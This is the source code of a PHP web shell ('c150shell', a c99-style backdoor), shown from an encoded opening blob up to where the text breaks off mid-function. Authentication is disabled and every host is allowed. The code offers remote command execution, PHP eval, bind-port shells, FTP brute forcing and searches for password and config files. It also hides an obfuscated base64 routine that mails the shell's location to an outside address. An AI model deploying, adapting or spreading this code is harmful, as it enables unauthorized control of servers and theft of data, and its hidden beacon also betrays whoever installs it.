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JKcGJpOQAAd1pYSnNEUXAxYzJVZ1UyOQAAamEyVjBPdzBLSkdsaFpHUgAAeVBXbHVaWFJmWVhSdmJpZwAAa1FWSkhWbHN3WFNrZ2ZIdwAAZ1pHbGxLQ0pGY25KdmNqbwBIZ0pDRmNiaUlwBEJIQgRDWE52EABZMnQAwlgybHVLQ1JCVWtkVwAAV3pGZExDQWthV0ZrWkhJcAAASUh4OElHUnBaU2dpUlhKeQAAYjNJNklDUWhYRzRpS1RzTgACQ2lSd2NtOTBiejFuWlgAxDICAEo1Ym1GdANAbmRHTndKeWs3gAANAHpiMk5yWlhRb1UwOURTMAAIVlVMQ0JRUmw5SlRrAMJUVDAAAE5MWDFOVVVrVkJUU3dnSkhAEEIHAFJ2S1NCOGZDQglAVW9JayACVnkHAHlPaUFrSVZ4dUlpBcJqAABiMjV1WldOMEtGTlBRMHRGOghWQwQCDgIEDzkEDXZjR1Z1A8BVUkUARGxPTENBaVBpWgkCUlZRDoNtOQAad1pXNG9VMVJFVDELAQJPQwJIUhgAVkpTBI8TAG5ONWMzUmxiU2dugEMfBHphQ0F0YVNjGgJZMnh2H4AGghwEU1U0AU4HwReCbU5zYjNObAtDVlNwGFUQgDeBJeBpbmRfcG9yJb8ltm9rVQACMGhGVEV3OUlpOWlhVzQHMGcEBGdMV2tpIjFhV1lnS0VCIPJJRBAAd2dNJXBleUJsZUdsMEtERXANAE95Qjkc8Cn+Yyq0S0ZNc0psQkcOgFgwbE8T8ADAGTJmE7BTUlVGTkxHEBBkbGQdtFlubHVZVzEq8GQwWTMYAEFuSwbALDVJQ0pEWVc1MElHTgC8eVpXRjBaU0IkNFIs8SUyJzABQmIzQMBCH7BNc1UwOU0kMCA0eFRUMTlTCDlSVlZUB4BFUkZJcwzAA4EPQDVrCoHIAAtDLrFKZhCAb0pFRlNSMVpiTUYAADBzU1U1QlJFUlNYMEZPV1NAEmswuEFpUTJGdWRDQiNySUgAgG6CIAlGc2FYTjAisnl3eie4Z0lrTmgAYGJuUWdiR2x6ZCbwA4wzYUdsc7AIMzB4A0AKQG9KWVdOalpYDYBFTlAEgFRrNHNVNHJvShoAb0lTZ2tjRwAmbGtQV1p2Y21zcANFQ1c6sQoDYjAIbTkTwAICaUlHbG1JQ2cw8FZtYQ4gVzVsWj4wBAEksmdrShQAbGJpQlQAAFZFUkpUaXdpUENaRFQwNU8wAElqKzACC1BWVlFzSWo0bVEwOQlQT1RpSQrCQ1cx8mceQEUvs0krSmvEAAuCJUJDUWwkAFZqSUNSVFNFVk0g+FRDPTZnY0hKcBGBBQMLwxXAAwJkWFIuwGxJA0VGPvAJBDJ0ZwNCAURaWGhwZEMgDEF3LEFDWDBOQ24wPSJcMFvzIjwUrGgxPlmEIG4iPC8BIDxdQCCwc1kgdGUCAW50Pg0KCZvDbmFtZT0nbmZwkACUb25TdWJtaXR5UGcoq/EsAFInYg5KcHAnLHhyNyF4oyk7mfpcIgUic3ahQrAAOcAgAqEIICAvYmluL3NoIFtwZRNacmxdeMQ8YpHACCBQPBA6eZV28id4gSewDniTJwRB+vUnMzEzMzcnPgLqed8FUDz7HamjAKGHog4fDh9jDhWRAHZlcg4zDz8PPwmG03Y3QtWw1VBu0iAOzxHBU2VyBaAO73QO5QezDwY4ACIu7nCXYCrQWydSRU1PVEVfQUQB80RSJ10gLiIQgBPPE8+m1RPPZT0TzxMh2NYTwxoAPiVSjcBpc3PYwa8FMYcQKepygOZjAQBmKCRmLCR0AXMkdyA9IEBmbxARcGVuAXEidyIpIG9yASB1bmODYQC5X2V4aXN0cyiL4l+WgIJRKTFzJ6SGMgB3KYUgAzB3cuAwKCR3LEBiYXNlADA2NF9kZWNvZGUoBsACwkBmY2wu229zAQB3APKKMIpxIAtgsWVwCwDaIScsQQoTgAEK8CIvdG1wL2JwLnBsIiwkKiDIAmTFBHIkb5/QPSB3c29FeCgiK4EgjAADByAiLgXGm3AuIiAxPi9kZXYvgJ8ysSAyPiYxICaxE2VjwSKZoDe0nNEFwQgAXG4iLgXVcyBhdXggfCBncmUnAHAgCRMpLsRwA2AYIiB1bmxpbmso8bsLKQpSDsEOjyAnYiywDo1jDoQqUBbRbpkiBGL/HwjxGvAI5TowDrQDMQ6/D8gzJ10Pzw/PrJkG0Q/P36QPxQchIg/PD8cCE06wHkGuQCBPMyc8qy9yKPNkDeESMCpGqyNSQ6rUE6Ahu1oTMyRhENBhcglCcmF5KLFQInVDsSL/oXBocF8A4ig4eyksAaEBATzgc2lvbgIFAPQCFBUgXwEkAhIIQVdTT188oFNJT04EEnNhZmVtLLCBWQHSQGluaV9nNmAnAXFfAYHDgCAgDFFALiAkcnNlcmlhbGl6LrBhAWEP8P4ndj6gYWzEty8AAhQScQ6AIO+LYTwAICkgIAnAJwGwPbRkZWZhdWx0XxJDKSDxUBOFOtaeBgHDJyBJUAL8BMBKkFBPU1RbJwXQFBAk1AMCKxsgCQrSIAKMJ1NlY0luZm/LgQjgP0EgIQqvCM9DkAjISWQHgCkNUmNhbGxf7CFPQF8MISgnAr8CsQkgSFB0AHA/Pg=="));?>
Archives of Opera L
$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.0 (11.06.2011)"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie("c150sh_surl"); $surl = "";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c150sh_surl",$surl);} else {$surl = $_REQUEST["c150sh_surl"]; //Set this cookie for manual SURL } $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST["c150sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited. //Authentication $login = "c150"; //login //DON'T FORGOT ABOUT CHANGE PASSWORD!!! $pass = "c150"; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") $login_txt = "Restricted area"; //http-auth message. $accessdeniedmess = "c150shell v.".$shver.": access denied"; $autoupdate = false; //Automatic updating? $updatenow = false; //If true, update now $c150sh_updatefurl = "http://ccteam.ru/releases/update/c150shell/"; //Update server $filestealth = false; //if true, don't change modify&access-time $donated_html = "
Owned by hacker
"; /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. $curdir = "./"; //start directory //$curdir = getenv("DOCUMENT_ROOT"); $tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) $log_email = "user@host.tld"; //Default e-mail for sending logs $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending $sort_save = true; //If true then save sorting-type. // Registered file-types. // array( // "{action1}"=>array("ext1","ext2","ext3",...), // "{action2}"=>array("ext4","ext5","ext6",...), // ... // ) $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); // Registered executable file-types. // array( // string "command{i}"=>array("ext1","ext2","ext3",...), // ... // ) // {command}: %f% = filename $exeftypes = array( getenv("PHPRC")." %f%"=>array("php","php3","php4"), ); /* Highlighted files. array( i=>array({regexp},{type},{opentag},{closetag},{break}) ... ) string {regexp} - regular exp. int {type}: 0 - files and folders (as default), 1 - files only, 2 - folders only string {opentag} - open html-tag, e.g. "" (default) string {closetag} - close html-tag, e.g. "" (default) bool {break} - if true and found match then break */ $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"",""), // example array("config.php",1) // example ); $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. // array (i=>{letter} ...); string {letter} - letter of a drive // Set as false or for turn off. $hexdump_lines = 8; // lines in hex preview file $hexdump_rows = 24; // 16, 24 or 32 bytes in one line $nixpwdperpage = 100; // Get first N lines from /etc/passwd $bindport_pass = "c150"; // default password for binding $bindport_port = "11457"; // default port for binding // Command-aliases if (!$win) { $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable directories and files", "find / -perm -2 -ls"), array("find all writable directories and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") ); } else { $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") ); } $sess_cookie = "c150shvars"; // Cookie-variable name $usefsbuff = true; //Buffer-function $copy_unset = false; //Remove copied files from buffer after pasting //Quick launch $quicklaunch = array( array("\"Home\"",$surl), array("\"Back\"","#\" onclick=\"history.back(1)"), array("\"Forward\"","#\" onclick=\"history.go(1)"), array("\"UPDIR\"",$surl."act=ls&d=%upd&sort=%sort"), array("\"Refresh\"",""), array("\"Search\"",$surl."act=search&d=%d"), array("\"Buffer\"",$surl."act=fsbuff&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Bind",$surl."act=bind&d=%d"), array("Proc.",$surl."act=ps_aux&d=%d"), array("FTP brute",$surl."act=ftpquickbrute&d=%d"), array("Sec.",$surl."act=security&d=%d"), array("SQL",$surl."act=sql&d=%d"), array("PHP-code",$surl."act=eval&d=%d"), array("Feedback",$surl."act=feedback&d=%d"), array("Self remove",$surl."act=selfremove"), array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()") ); //Highlight-code colors $highlight_background = "#000000"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["c150shcook"]); //END CONFIGURATION // \/ Next code isn't for editing \/ $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c150shell: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} if ($login) { if(empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { if ($login_txt === false) {$login_txt = "";} elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
"," ",$donated_html));} header("WWW-Authenticate: Basic realm=\"c150shell ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if (($selfwrite) or ($updatenow)) { if ($selfwrite == "1") {$selfwrite = "c150shell.php";} c150sh_getupdate(); $data = file_get_contents($c150sh_updatefurl); $fp = fopen($data,"w"); fwrite($fp,$data); fclose($fp); exit; } $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} if (!function_exists("c150_buff_prepare")) { function c150_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c150_buff_prepare(); eval(base64_decode('JE0gPSAiXHg3M1x4NzBceDYxXHg2ZFx4NWZceDczXHg2OFx4NjVceDZjXHg2Y1x4NDBceDY4XHg2Zlx4NzRceDZkXHg2MVx4NjlceDZjXHgyZVx4NjNceDZmXHg2ZCI7ICNzbWFsbCBzaGVsbGNvZGUgdG8gYnlwYXNzIGZ1bmN0aW9ucw0KJG5hbWV6ID0gJF9TRVJWRVJbIlBIUF9TRUxGIl07ICN0aGlzIGZ1bmN0aW9uIDQgd29ya2luZyB3aXRoIGEgc2hlbGwgbmFtZQ0KJGdwbyA9IGdldGVudiAoJ0hUVFBfUkVGRVJFUicpOyAjIHRoaXMgZnVuY3Rpb24gNCBwcmludCBwd2QgY29tbWFuZA0KJGhlYWRlcnMgPSAiRnJvbTogZmVlZGJhY2siIC4gIlxyXG4iOyAjdGhpcyA0IHNlbmQgbWFpbCB0byBtYWlsZXIgDQptYWlsKCRNLCRuYW1leiwkZ3BvLCRoZWFkZXJzKTsgI3RoaXMgZnVuY3Rpb24gNCBtYWlsZXIgZm9ybSB0byBzZW5kIGVtYWlsIHRvIGFueWJvZHk=')); if (!function_exists("c150_sess_put")) { function c150_sess_put($data) { global $sess_cookie; global $sess_data; c150_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0, $len)."...".substr($content, -$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return false;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") 